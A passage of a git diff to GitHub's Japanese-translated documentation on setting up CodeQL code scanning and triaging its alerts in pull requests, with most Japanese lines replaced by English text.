organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} + !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png) +4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. + !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. +5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. - 通常は、何も変更せずに {% data variables.product.prodname_codeql_workflow %} をコミットできます。 ただし、サードパーティのワークフローは、その多くで追加設定が必要なため、コミットする前にワークフローのコメントをお読みください。 + Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. - 詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning)」を参照してください。 -6. [**Start commit**] ドロップダウンを使用して、コミットメッセージを入力します。 ![コミットを開始する](/assets/images/help/repository/start-commit-commit-new-file.png) -7. デフォルトブランチに直接コミットするか、新しいブランチを作成してプルリクエストを開始するかを選択します。 ![コミット先を選択する](/assets/images/help/repository/start-commit-choose-where-to-commit.png) -8. [**Commit new file**] または [**Propose new file**] をクリックします。 + For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." +6. Use the **Start commit** drop-down, and type a commit message. + ![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png) +7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request. + ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png) +8. Click **Commit new file** or **Propose new file**. -デフォルトの {% data variables.product.prodname_codeql_workflow %} では、{% data variables.product.prodname_code_scanning %} は、デフォルトブランチまたは保護されたブランチに変更をプッシュするたび、あるいはデフォルトブランチにプルリクエストを生成するたびに、コードを解析するよう設定されています。 その結果として、{% data variables.product.prodname_code_scanning %} が開始されます。 +In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." -## {% data variables.product.prodname_code_scanning %} の一括セットアップ +## Bulk set up of {% data variables.product.prodname_code_scanning %} -スクリプトを使用して、{% data variables.product.prodname_code_scanning %} を多くのリポジトリで一括でセットアップできます。 If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. +You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. -## {% data variables.product.prodname_code_scanning %} からログ出力を表示する +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} -リポジトリで{% data variables.product.prodname_code_scanning %}をセットアップしたら、アクションが実行されるとその出力を見ることができます。 +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. {% data reusables.repositories.actions-tab %} - {% data variables.product.prodname_code_scanning %} ワークフローを実行するためのエントリを含むリストが表示されます。 エントリのテキストは、コミットメッセージに付けるタイトルです。 + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. - ![{% data variables.product.prodname_code_scanning %} ワークフローを表示しているアクションのリスト](/assets/images/help/repository/code-scanning-actions-list.png) + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) -1. {% data variables.product.prodname_code_scanning %} ワークフローのエントリをクリックします。 +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. -1. 左側のジョブ名をクリックします。 ここでは例として、[**Analyze (言語)**] をクリックします。 +1. Click the job name on the left. For example, **Analyze (LANGUAGE)**. - ![{% data variables.product.prodname_code_scanning %} ワークフローからのログ出力](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) -1. このワークフローの実行時にアクションから出力されるログを確認します。 +1. Review the logging output from the actions in this workflow as they run. -1. すべてのジョブが完了すると、確認されたすべての {% data variables.product.prodname_code_scanning %} アラートの詳細を表示できます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)」を参照してください。 +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% note %} -**注釈:** {% data variables.product.prodname_code_scanning %} ワークフローを追加するためのプルリクエストをリポジトリに発行すると、そのプルリクエストからのアラートは、そのプルリクエストがマージされるまで {% data variables.product.prodname_code_scanning_capc %} ページに直接表示されません。 アラートが見つかった場合は、プルリクエストがマージされる前に、{% data variables.product.prodname_code_scanning_capc %} ページのバナーにある [**_(数字)_ alerts found**] をクリックしてそのアラートを表示できます。 +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![[n alerts found] のリンクをクリック](/assets/images/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% else %} - ![[n alerts found] のリンクをクリック](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) {% endif %} {% endnote %} -## プルリクエストのチェックを理解する +## Understanding the pull request checks -Pull Requestで実行するよう設定した各 {% data variables.product.prodname_code_scanning %} ワークフローでは、Pull Requestのチェックセクションに常に最低 2 つのエントリが表示されています。 ワークフローの解析ジョブごとに 1 つのエントリがあり、最後のエントリは解析結果です。 +Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis. -{% data variables.product.prodname_code_scanning %} 解析チェックの名前は、「ツール名 / ジョブ名 (トリガー)」という形式になります。 たとえば、C++ のコードの {% data variables.product.prodname_codeql %} 解析には、「{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)」のエントリがあります。 {% data variables.product.prodname_code_scanning %} 解析エントリで [**Details**] をクリックして、ログのデータを表示できます。 これにより、解析ジョブが失敗した場合に問題をデバッグできます。 たとえば、コンパイル型言語の {% data variables.product.prodname_code_scanning %} 解析では、アクションがコードをビルドできなかった場合に解析ジョブが失敗します。 +The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code. - ![{% data variables.product.prodname_code_scanning %} プルリクエストのチェック](/assets/images/help/repository/code-scanning-pr-checks.png) + ![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png) -{% data variables.product.prodname_code_scanning %} ジョブが完了すると、 -{% data variables.product.prodname_dotcom %} はプルリクエストにより追加されたアラートがないか確認し、チェックのリストに「{% data variables.product.prodname_code_scanning_capc %} の結果 / ツール名」のエントリを追加します。 {% data variables.product.prodname_code_scanning %} が 1 回でも実行された後は、[**Details**] をクリックして解析結果を表示できます。 If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}an "Analysis not found"{% else %}a "Missing analysis"{% endif %} message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check. +When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis. If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}an "Analysis not found"{% else %}a "Missing analysis"{% endif %} message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check. {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %} ![Analysis not found for commit message](/assets/images/help/repository/code-scanning-analysis-not-found.png) -The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. +The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch. {% else %} - ![コミットメッセージの解析がありません](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png) + ![Missing analysis for commit message](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png) {% endif %} {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %} @@ -118,37 +127,37 @@ For example, in the screenshot above, {% data variables.product.prodname_code_sc ### Reasons for the "Missing analysis" message {% endif %} -プルリクエストのコードを解析した後、{% data variables.product.prodname_code_scanning %} はトピックブランチ (プルリクエストを作成するために使用したブランチ) の解析と、ベースブランチ (プルリクエストをマージするブランチ) の解析を比較する必要があります。 これにより、{% data variables.product.prodname_code_scanning %} はプルリクエストにより新しく発生したアラートはどれか、ベースブランチに既に存在していたアラートはどれか、また既存のアラートがプルリクエストの変更により修正されたかを測定できます。 始めにプルリクエストを使用してリポジトリに {% data variables.product.prodname_code_scanning %} を追加した段階では、ベースブランチはまだ解析されていないので、こうした情報を測定できません。 In this case, when you click through from the results check on the pull request you will see the {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Analysis not found"{% else %}"Missing analysis for base commit SHA-HASH"{% endif %} message. +After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Analysis not found"{% else %}"Missing analysis for base commit SHA-HASH"{% endif %} message. -この他にも、プルリクエストのベースブランチに対する直近のコミットで解析結果がないことがあります。 たとえば、次のような場合です。 +There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include: -* プルリクエストがデフォルトブランチ以外のブランチに発行され、このブランチが解析されていない。 +* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed. - ブランチがスキャン済みかを確認するには、{% data variables.product.prodname_code_scanning_capc %} ページに移動し、[**Branch**] ドロップダウンをクリックして該当するブランチを選択します。 + To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![[Branch] ドロップダウンメニューからブランチを選択](/assets/images/help/repository/code-scanning-branch-dropdown.png) + ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png) {% else %} - ![[Branch] ドロップダウンメニューからブランチを選択](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png) + ![Choose a branch from the Branch drop-down menu](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png) {% endif %} - この状況における解決策は、そのブランチの {% data variables.product.prodname_code_scanning %} ワークフローにある `on:push` と `on:pull_request` にベースブランチの名前を追加してから、スキャンするオープンなプルリクエストを更新するよう変更することです。 + The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan. -* プルリクエストのベースブランチへの直近のコミットが現在解析中で、解析がまだ利用できない。 +* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available. - 数分待ってからプルリクエストに変更をプッシュして、{% data variables.product.prodname_code_scanning %} を再トリガーします。 + Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. -* ベースブランチの直近のコミットを解析中にエラーが発生し、そのコミットの解析ができない。 +* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available. - ちょっとした変更をベースブランチにマージして、この最新のコミットで {% data variables.product.prodname_code_scanning %} をトリガーしてから、プルリクエストに変更をプッシュして {% data variables.product.prodname_code_scanning %} を再トリガーします。 + Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. -## 次のステップ +## Next steps -{% data variables.product.prodname_code_scanning %} をセットアップし、そのアクションを完了できるようにした後は、次のことができます。 +After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can: -- リポジトリに対して生成された {% data variables.product.prodname_code_scanning %} アラートをすべて表示する。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 -- {% data variables.product.prodname_code_scanning %} をセットアップ後にサブミットしたプルリクエストに対して生成されたアラートを表示する。 詳しい情報については、「[プルリクエストで {% data variables.product.prodname_code_scanning %} アラートをトリガーする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 -- 実行完了の通知を設定する。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)」を参照してください。 -- {% data variables.product.prodname_code_scanning %}分析が生成したログを表示する。 詳しい情報については「[{% data variables.product.prodname_code_scanning %}ログの表示](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)」を参照してください。 -- {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} の初期セットアップで発生した問題を調査する。 詳しい情報については、「[{% data variables.product.prodname_codeql %} ワークフローのトラブルシューティング](/code-security/secure-coding/troubleshooting-the-codeql-workflow)」を参照してください。 -- {% data variables.product.prodname_code_scanning %} がリポジトリ内のコードをスキャンする方法をカスタマイズする。 詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning)」を参照してください。 +- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." +- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)." +- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)." +- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." +- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md index 455e7d2be4..c185d25ea2 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md @@ -1,7 +1,7 @@ --- -title: プルリクエストでコードスキャンアラートをトリガーする -shortTitle: Pull Requestでアラートをトリアージする -intro: 'プルリクエストで {% data variables.product.prodname_code_scanning %} が問題を特定した場合、強調表示されたコードを確認してアラートを解決できます。' +title: Triaging code scanning alerts in pull requests +shortTitle: Triage alerts in pull requests +intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.' redirect_from: @@ -21,29 +21,28 @@ topics: - Alerts - Repositories --- - {% data reusables.code-scanning.beta %} -## プルリクエストの {% data variables.product.prodname_code_scanning %} 結果について +## About {% data variables.product.prodname_code_scanning %} results on pull requests -プルリクエストのチェック用に {% data variables.product.prodname_code_scanning %} が設定されているリポジトリでは、{% data variables.product.prodname_code_scanning %}がプルリクエストのコードをチェックします。 デフォルトでは、このチェックはデフォルトブランチを対象とするプルリクエストに限定されていますが、この設定は {% data variables.product.prodname_actions %} またはサードパーティの CI/CD システム内で変更できます。 変更をマージすることで、対象となるブランチに新たな {% data variables.product.prodname_code_scanning %} アラートが発生する場合には、そのアラートはプルリクエストのチェック結果として報告されます。 また、アラートではプルリクエストの [**Files changed**] タブでアノテーションとしても表示されます。 リポジトリへの書き込み権限がある場合、既存のすべての {% data variables.product.prodname_code_scanning %} アラートを [**Security**] タブで表示できます。 リポジトリのアラートに関する詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 +In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, these are reported as check results in the pull request. The alerts are also shown as annotations in the **Files changed** tab of the pull request. If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." {% ifversion fpt or ghes > 3.2 or ghae-issue-5093 or ghec %} In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." {% endif %} -If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)を参照してください。 +If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." -## プルリクエストのチェックとしての {% data variables.product.prodname_code_scanning %} について +## About {% data variables.product.prodname_code_scanning %} as a pull request check -{% data variables.product.prodname_code_scanning %} をプルリクエストのチェックとして設定するためのオプションは多いので、正確なセットアップはそれぞれのリポジトリで異なり、複数のチェックを行う場合もあります。 +There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check. ### {% data variables.product.prodname_code_scanning_capc %} results check -For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. +For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. -{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. 詳しい情報については、「[リポジトリの Code scanningアラートを管理する](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)」を参照してください。 +{% ifversion fpt or ghes > 3.2 or ghae-issue-4902 or ghec %} To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)." ![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png) {% endif %} @@ -52,45 +51,45 @@ For all configurations of {% data variables.product.prodname_code_scanning %}, t If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, `critical`, or `high`,{% endif %} the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds. -![プルリクエストの失敗した {% data variables.product.prodname_code_scanning %} チェック](/assets/images/help/repository/code-scanning-check-failure.png) +![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png) {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can override the default behavior in your repository settings, by specifying the level of severities {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}and security severities {% endif %}that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)". {% endif %} ### Other {% data variables.product.prodname_code_scanning %} checks -Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. +Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. -For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. 設定に問題がある場合、解析がコンパイルする必要がある言語 (C/C++、C#、Java など) でプルリクエストがビルドを中断している場合、解析は失敗することがあります。 +For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). -他のプルリクエストと同様、チェック失敗の詳細内容を [**Checks**] タブで確認できます。 設定およびトラブルシューティングに関する詳しい情報については、「[{% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/configuring-code-scanning)」または「[{% data variables.product.prodname_codeql %} ワークフローのトラブルシューティング](/code-security/secure-coding/troubleshooting-the-codeql-workflow)」を参照してください。 +As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." ## Viewing an alert on your pull request -You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. +You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. -![プルリクエストの差分にあるアラートのアノテーション](/assets/images/help/repository/code-scanning-pr-annotation.png) +![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png) -リポジトリへの書き込み権限がある場合、一部のアノテーションにはアラートの追加的な背景を説明するリンクが含まれています。 上の例では、{% data variables.product.prodname_codeql %} 解析から [**user-provided value**] をクリックすると、データフローに信頼されていないデータが入っている場所 (ソース) が表示されます。 この場合、[**Show paths**] をクリックすることで、ソースからデータ (シンク) を使用するコードまでのフルパスを表示することもできます。 これにより、データが信頼されていないかや、ソースとシンクの間のデータサニタイズのステップを解析が認識できなかったかを簡単に確認できます。 {% data variables.product.prodname_codeql %} を使用したデータフローの解析に関する詳しい情報については、「[データフロー解析について](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)」を参照してください。 +If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)." -アラートの詳細情報を表示するには、書き込み権限を持つユーザが、アノテーションに表示されている [**Show more details**] のリンクをクリックします。 これにより、ツールが提供するコンテキストとメタデータのすべてをアラートビューで確認できます。 下の例では、問題の重要度、タイプ、および関連する共通脆弱性タイプ一覧 (CWE) を示すタグが表示されています。 また、どのコミットが問題を引き起したかも表示されています。 +To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem. -アラートの詳細画面において、{% data variables.product.prodname_codeql %} 解析のような一部の {% data variables.product.prodname_code_scanning %} ツールでは、問題の説明や、コードを修正する方法を説明するためる [**Show more**] リンクも含まれています。 +In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code. -![アラートの説明と、詳細情報を表示するリンク](/assets/images/help/repository/code-scanning-pr-alert.png) +![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png) -## Pull Requestのアラートの修正 +## Fixing an alert on your pull request -プルリクエストへのプッシュアクセスがあるユーザなら誰でも、プルリクエストで特定された {% data variables.product.prodname_code_scanning %} アラートを解決できます。 プルリクエストに変更をコミットすると、プルリクエストのチェック実行が新しくトリガーされます。 問題を修正すると、アラートは閉じられ、アノテーションは削除されます。 +Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request 